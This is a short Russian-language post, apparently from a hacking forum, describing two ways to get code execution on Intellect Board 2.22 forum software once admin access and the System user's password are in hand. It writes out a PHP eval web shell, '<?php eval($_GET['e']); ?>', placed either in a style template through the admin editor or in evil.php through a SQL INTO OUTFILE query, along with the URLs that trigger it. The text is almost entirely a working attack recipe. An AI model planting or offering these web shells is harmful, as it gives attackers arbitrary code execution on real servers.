Intellect Board 2.22 (возможно, более ранние версии)
Какая-то пародия на phpbb, ей-богу
Условие - доступ в админку (http://forum/admin) + пароль пользователя System.
1) В разделе интерфейс => редактор стилей => редактировать шаблон (для Grey (wsx)).
http://forum/admin/index.php?m=styles&a=st_edit_template&style=wsx
В начале файла вписываем
PHP код:
<?php eval($_GET['e']); ?>
Сохраняем, используем здесь
http://forum/styles/wsx/template.php?e=phpinfo();
2) через обычный sql-запрос (file_priv=Y)
http://forum/admin/index.php?m=basic&a=sql_query
PHP код:
SELECT '<?php eval($_GET['e']); ?>' INTO OUTFILE 'абсолютный_путь_на_сервере/forum/evil.php';
http://forum/evil.php?e=phpinfo();
Собственно, ничего сверхестественного, но для коллекции пойдет.